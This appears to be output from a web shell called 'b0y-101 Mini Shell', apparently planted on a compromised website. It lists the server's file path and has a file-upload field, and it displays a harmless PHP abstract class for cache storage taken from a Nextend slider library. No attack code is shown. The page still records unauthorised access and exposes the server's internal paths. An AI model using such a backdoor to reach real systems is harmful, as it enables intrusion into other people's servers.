b0y-101 Mini Shell


Current Path : E:/www/nongbua/libraries/nextend2/nextend/library/libraries/cache/storage/
File Upload :
Current File : E:/www/nongbua/libraries/nextend2/nextend/library/libraries/cache/storage/cachestorage.php

<?php

abstract class N2CacheStorage {

    protected $paths = array();

    public function __construct() {
        $this->paths['web']    = 'web';
        $this->paths['notweb'] = 'notweb';
        $this->paths['image']  = 'image';
    }

    public function isFilesystem() {
        return false;
    }

    public abstract function clearAll($scope = 'notweb');

    public abstract function clear($group, $scope = 'notweb');

    public abstract function exists($group, $key, $scope = 'notweb');

    public abstract function set($group, $key, $value, $scope = 'notweb');

    public abstract function get($group, $key, $scope = 'notweb');

    public abstract function remove($group, $key, $scope = 'notweb');

    public abstract function getPath($group, $key, $scope = 'notweb');
}

Copyright © 2019 by b0y-101